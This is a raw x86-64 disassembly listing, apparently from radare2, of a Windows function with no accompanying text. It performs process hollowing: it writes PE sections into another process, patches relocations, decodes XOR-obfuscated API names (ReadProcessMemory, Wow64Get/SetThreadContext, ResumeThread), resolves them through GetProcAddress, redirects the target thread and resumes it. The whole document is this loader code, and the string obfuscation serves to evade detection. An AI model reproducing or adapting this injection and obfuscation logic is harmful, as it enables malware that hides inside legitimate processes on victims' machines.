mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0xa710]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa75b], al
movzx eax, byte [rbp + 0xa75b]
test eax, eax
jne 0x140002cb7
mov ebx, 0
jmp 0x140003b64
mov qword [rbp + 0xa750], 0
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0xa0]
test eax, eax
je 0x140002cea
mov rax, qword [rbp + 0xa730]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x388], rax
jmp 0x140002cfe
mov dword [rbp + 0x388], 0
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0xa6c8], 0
mov byte [rbp + 0xa6c7], 0
cmp byte [rbp + 0xa71f], 0
je 0x140002e68
mov dword [rbp + 0xa74c], 0
jmp 0x140002e36
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa730]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa74c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa6b8], rax
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140002dac
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa6b8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140002dac
mov rax, qword [rbp + 0xa6b8]
mov qword [rbp + 0xa750], rax
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6b7], al
movzx eax, byte [rbp + 0xa6b7]
test eax, eax
jne 0x140002e2f
mov ebx, 0
jmp 0x140003b64
add dword [rbp + 0xa74c], 1
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa74c], eax
jl 0x140002d2c
cmp qword [rbp + 0xa750], 0
jne 0x140002f59
mov ebx, 0
jmp 0x140003b64
mov dword [rbp + 0xa748], 0
jmp 0x140002f3f
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa730]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa748]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa6c8], rax
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6c7], al
movzx eax, byte [rbp + 0xa6c7]
test eax, eax
jne 0x140002f38
mov ebx, 0
jmp 0x140003b64
add dword [rbp + 0xa748], 1
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa748], eax
jl 0x140002e77
cmp byte [rbp + 0xa71f], 0
je 0x14000333e
mov dword [rbp + 0xa744], 0
jmp 0x14000332c
mov rax, qword [rbp + 0xa750]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rdx, rax
mov eax, dword [rbp + 0xa744]
add rax, rdx
mov qword [rbp + 0xa6a8], rax
add dword [rbp + 0xa744], 8
mov rax, qword [rbp + 0xa6a8]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0xa6a4], eax
mov dword [rbp + 0xa740], 0
jmp 0x14000331a
mov rax, qword [rbp + 0xa750]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rdx, rax
mov eax, dword [rbp + 0xa744]
add rax, rdx
mov qword [rbp + 0xa698], rax
add dword [rbp + 0xa744], 2
mov rax, qword [rbp + 0xa698]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x140003312
mov rax, qword [rbp + 0xa6a8]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rdx, rax
mov rax, qword [rbp + 0xa698]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0xa690], rax
mov dword [rbp + 0xc], 0
mov word [rbp - 0x20], 0x66
mov word [rbp - 0x1e], 0x50
mov word [rbp - 0x1c], 0x57
mov word [rbp - 0x1a], 0x53
mov word [rbp - 0x18], 0x68
mov word [rbp - 0x16], 0x4b
mov word [rbp - 0x14], 0x55
mov word [rbp - 0x12], 0x58
mov word [rbp - 0x10], 0x59
mov word [rbp - 0xe], 0x4e
mov word [rbp - 0xc], 0x4d
mov word [rbp - 0xa], 0x72
mov word [rbp - 8], 0x25
mov word [rbp - 6], 0x2c
mov word [rbp - 4], 0x2d
mov word [rbp - 2], 0x31
mov word [rbp], 0x3d
mov word [rbp + 2], 0x45
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa4a8], rax
mov rax, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa4a0], rax
mov rax, qword [rbp + 0xa4a0]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
test al, al
je 0x14000317c
mov rax, qword [rbp + 0xa4a8]
mov rdx, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa498], rdx
mov qword [rbp + 0xa490], rax
mov dword [rbp + 0xa48c], 0
jmp 0x140003172
mov eax, dword [rbp + 0xa48c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa490]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa48c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa498]
mov edx, dword [rbp + 0xa48c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa48c], 1
cmp dword [rbp + 0xa48c], 0x11
jle 0x14000310a
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa688], rax
cmp qword [rbp + 0xa688], 0
jne 0x1400031b9
mov ebx, 0
jmp 0x140003b64
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa480], rax
mov rax, qword [rbp + 0xa480]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003274
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xa478], rdx
mov qword [rbp + 0xa470], rax
mov dword [rbp + 0xa46c], 0
jmp 0x14000326a
mov eax, dword [rbp + 0xa46c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa470]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa46c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa478]
mov edx, dword [rbp + 0xa46c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa46c], 1
cmp dword [rbp + 0xa46c], 0x11
jle 0x140003202
nop
mov dword [rbp + 0xa468], 0
jmp 0x140003296
mov eax, dword [rbp + 0xa468]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0xa468], 1
cmp dword [rbp + 0xa468], 0x11
jle 0x140003280
nop
mov r10, qword [rbp + 0xa688]
mov rdx, qword [rbp + 0xa690]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
mov edx, dword [rbp + 0xc]
mov eax, dword [rbp + 0xa6dc]
add eax, edx
mov dword [rbp + 0xc], eax
mov r10, qword [rbp + 0xa6d0]
mov rdx, qword [rbp + 0xa690]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
jmp 0x140003313
nop
add dword [rbp + 0xa740], 1
mov eax, dword [rbp + 0xa740]
cmp eax, dword [rbp + 0xa6a4]
jb 0x140002fca
mov eax, dword [rbp + 0x38c]
cmp dword [rbp + 0xa744], eax
jb 0x140002f75
mov dword [rbp + 0xb0], 0x10000b
mov word [rbp + 0x80], 0x63
mov word [rbp + 0x82], 0x5a
mov word [rbp + 0x84], 0x41
mov word [rbp + 0x86], 1
mov word [rbp + 0x88], 0xc
mov word [rbp + 0x8a], 0x7e
mov word [rbp + 0x8c], 0x5f
mov word [rbp + 0x8e], 0x4f
mov word [rbp + 0x90], 0x68
mov word [rbp + 0x92], 0x55
mov word [rbp + 0x94], 0x4c
mov word [rbp + 0x96], 0x5a
mov word [rbp + 0x98], 0x21
mov word [rbp + 0x9a], 0x25
mov word [rbp + 0x9c], 1
mov word [rbp + 0x9e], 0x2c
mov word [rbp + 0xa0], 0x2a
mov word [rbp + 0xa2], 0x31
mov word [rbp + 0xa4], 0x23
mov word [rbp + 0xa6], 0x3f
mov word [rbp + 0xa8], 0x3c
mov word [rbp + 0xaa], 0x49
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa460], rax
mov rax, qword [rbp + 0xa460]
mov qword [rbp + 0xa458], rax
mov rax, qword [rbp + 0xa458]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400034dd
mov rax, qword [rbp + 0xa460]
mov rdx, qword [rbp + 0xa460]
mov qword [rbp + 0xa450], rdx
mov qword [rbp + 0xa448], rax
mov dword [rbp + 0xa444], 0
jmp 0x1400034d3
mov eax, dword [rbp + 0xa444]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa448]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa444]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa450]
mov edx, dword [rbp + 0xa444]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa444], 1
cmp dword [rbp + 0xa444], 0x15
jle 0x14000346b
nop
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa680], rax
cmp qword [rbp + 0xa680], 0
jne 0x14000351d
mov ebx, 0
jmp 0x140003b64
mov r8, qword [rbp + 0xa680]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa67f], al
mov r10, qword [rbp + 0xa6d0]
mov eax, dword [rbp + 0x154]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3b8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa67e], al
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa438], rax
mov rax, qword [rbp + 0xa438]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003653
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0xa430], rdx
mov qword [rbp + 0xa428], rax
mov dword [rbp + 0xa424], 0
jmp 0x140003649
mov eax, dword [rbp + 0xa424]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa428]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa424]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa430]
mov edx, dword [rbp + 0xa424]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa424], 1
cmp dword [rbp + 0xa424], 0x15
jle 0x1400035e1
nop
mov dword [rbp + 0xa3f8], 0
jmp 0x140003678
mov eax, dword [rbp + 0xa3f8]
cdqe
mov word [rbp + rax*2 + 0x80], 0
add dword [rbp + 0xa3f8], 1
cmp dword [rbp + 0xa3f8], 0x15
jle 0x14000365f
nop
mov word [rbp + 0x50], 0x63
mov word [rbp + 0x52], 0x5a
mov word [rbp + 0x54], 0x41
mov word [rbp + 0x56], 1
mov word [rbp + 0x58], 0xc
mov word [rbp + 0x5a], 0x6a
mov word [rbp + 0x5c], 0x5f
mov word [rbp + 0x5e], 0x4f
mov word [rbp + 0x60], 0x68
mov word [rbp + 0x62], 0x55
mov word [rbp + 0x64], 0x4c
mov word [rbp + 0x66], 0x5a
mov word [rbp + 0x68], 0x21
mov word [rbp + 0x6a], 0x25
mov word [rbp + 0x6c], 1
mov word [rbp + 0x6e], 0x2c
mov word [rbp + 0x70], 0x2a
mov word [rbp + 0x72], 0x31
mov word [rbp + 0x74], 0x23
mov word [rbp + 0x76], 0x3f
mov word [rbp + 0x78], 0x3c
mov word [rbp + 0x7a], 0x49
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x160], eax
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa418], rax
mov rax, qword [rbp + 0xa418]
mov qword [rbp + 0xa410], rax
mov rax, qword [rbp + 0xa410]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400037eb
mov rax, qword [rbp + 0xa418]
mov rdx, qword [rbp + 0xa418]
mov qword [rbp + 0xa408], rdx
mov qword [rbp + 0xa400], rax
mov dword [rbp + 0xa3fc], 0
jmp 0x1400037e1
mov eax, dword [rbp + 0xa3fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa400]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa408]
mov edx, dword [rbp + 0xa3fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3fc], 1
cmp dword [rbp + 0xa3fc], 0x15
jle 0x140003779
nop
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa670], rax
mov r8, qword [rbp + 0xa670]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa66f], al
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa3f0], rax
mov rax, qword [rbp + 0xa3f0]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400038f6
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0xa3e8], rdx
mov qword [rbp + 0xa3e0], rax
mov dword [rbp + 0xa3dc], 0
jmp 0x1400038ec
mov eax, dword [rbp + 0xa3dc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3e0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3dc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3e8]
mov edx, dword [rbp + 0xa3dc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3dc], 1
cmp dword [rbp + 0xa3dc], 0x15
jle 0x140003884
nop
mov dword [rbp + 0xa3b0], 0
jmp 0x140003918
mov eax, dword [rbp + 0xa3b0]
cdqe
mov word [rbp + rax*2 + 0x50], 0
add dword [rbp + 0xa3b0], 1
cmp dword [rbp + 0xa3b0], 0x15
jle 0x140003902
nop
mov word [rbp + 0x30], 0x66
mov word [rbp + 0x32], 0x50
mov word [rbp + 0x34], 0x45
mov word [rbp + 0x36], 0x42
mov word [rbp + 0x38], 0x55
mov word [rbp + 0x3a], 0x5c
mov word [rbp + 0x3c], 0x6e
mov word [rbp + 0x3e], 0x53
mov word [rbp + 0x40], 0x4e
mov word [rbp + 0x42], 0x58
mov word [rbp + 0x44], 0x5f
mov word [rbp + 0x46], 0x5b
mov word [rbp + 0x48], 0x40
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3d0], rax
mov rax, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c8], rax
mov rax, qword [rbp + 0xa3c8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140003a3c
mov rax, qword [rbp + 0xa3d0]
mov rdx, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c0], rdx
mov qword [rbp + 0xa3b8], rax
mov dword [rbp + 0xa3b4], 0
jmp 0x140003a32
mov eax, dword [rbp + 0xa3b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3c0]
mov edx, dword [rbp + 0xa3b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3b4], 1
cmp dword [rbp + 0xa3b4], 0xc
jle 0x1400039ca
nop
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa660], rax
mov rdx, qword [rbp + 0xa660]
mov rax, qword [rbp + 0x438]
mov rcx, rax
call rdx
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3a8], rax
mov rax, qword [rbp + 0xa3a8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003b33
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0xa3a0], rdx
mov qword [rbp + 0xa398], rax
mov dword [rbp + 0xa394], 0
jmp 0x140003b29
mov eax, dword [rbp + 0xa394]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa398]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa394]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3a0]
mov edx, dword [rbp + 0xa394]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa394], 1
cmp dword [rbp + 0xa394], 0xc
jle 0x140003ac1
nop
mov dword [rbp + 0xa390], 0
jmp 0x140003b55
mov eax, dword [rbp + 0xa390]
cdqe
mov word [rbp + rax*2 + 0x30], 0
add dword [rbp + 0xa390], 1
cmp dword [rbp + 0xa390], 0xc
jle 0x140003b3f
nop
mov ebx, 1
lea rax, [rbp + 0x9e20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, ebx
jmp 0x140003bb2
add rsp, 0xa7e0
pop rbx
pop rdi
pop r12
pop r13
pop rbp
ret